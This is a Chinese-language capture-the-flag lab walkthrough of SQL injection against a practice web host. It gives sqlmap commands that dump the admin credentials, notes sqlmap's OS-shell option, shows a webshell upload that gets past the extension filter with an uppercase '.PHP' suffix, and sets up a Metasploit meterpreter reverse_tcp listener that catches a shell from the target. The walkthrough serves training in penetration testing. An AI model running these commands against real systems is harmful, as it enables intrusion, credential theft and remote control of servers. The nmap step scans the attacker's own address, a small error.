CTF靶场训练-SQL注入(GET参数注入)

Background

SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入的大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。

SQL注入的产生原因通常表现在以下几个方面:

  • 不当的类型处理;
  • 不安全的数据库配置;
  • 不合理的查询集处理;
  • 不当的错误处理;
  • 转义字符处理不合适;
  • 多个提交处理不当;

实验环境

攻击机: 192.168.43.44
靶场机器: 192.168.43.201

信息探测

扫描主机服务信息以及版本
– nmap -sV 192.168.43.44
image

发现开放了ssh、http服务

探测敏感信息
探测http服务隐藏的目录文件
– nikto -host 192.168.43.201
image

发现一个管理员登陆页面
image
这里可以尝试可不可以弱口令登陆,不过失败了

漏洞扫描

OWASP ZAP,全称:OWASP Zed Attack Proxy攻击代理服务器是世界上最受欢迎的免费安全工具之一。ZAP可以帮助我们在开发和测试应用程序过程中,自动发现 Web应用程序中的安全漏洞。另外,它也是一款提供给具备丰富经验的渗透测试人员进行人工安全测试的优秀工具。

用OWASP-ZAP对这个站点进行扫描
image
输入url开始攻击,等待扫描完成
image
发现一个get请求的url存在sql注入漏洞(存在漏洞参数:id)

数据库爆破

知道存在sql注入漏洞,就用sqlmap来爆破站点的数据库
爆数据库

1
root@kali:~# sqlmap -u "http://192.168.43.201/cat.php?id=1" --dbs

image
发现两个数据库,一个是元数据库,那么另一个就是站点的数据库了
接下来就是表名和列名了
爆表名【categories|pictures|users】

1
sqlmap -u "http://192.168.43.201/cat.php?id=1" -D photoblog --tables

爆列名【id|login|password】

1
root@kali:~# sqlmap -u "http://192.168.43.201/cat.php?id=1" -D photoblog -T users --columns

爆字段内容

1
root@kali:~# sqlmap -u "http://192.168.43.201/cat.php?id=1" -D photoblog -T users -C login,password --dump

image
获得管理员账号密码

  • 账号:admin
  • 密码:P4ssw0rd
    image

上传webshell

获取了管理员权限,尝试获取shell
试着上传webshell
有时候也可以通过sqlmap直接获取shell(数据库管理账号权限足够大)

1
sqlmap -u "http://192.168.43.201/cat.php?id=1" --os-shell

发现一个上传点
(虽然是图片,但是可能上传文件格式并没有做什么限制)
image

制作一个php语言的webshell
image
将代码保存成一个Webshell.php文件
点击上传
image
image
发现上传失败,试着修改后缀为大写PHP(webshell.PHP)
image

上传成功
image

获取shell

用msf工具监听获取返回的shell

1
2
3
4
5
msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > show options
msf5 exploit(multi/handler) > set LHOST 192.168.43.44 //默认端口4444
msf5 exploit(multi/handler) > run

访问刚刚上传的“图片”
image
再回来看返回的shell
image

此时就获得了网站的shell;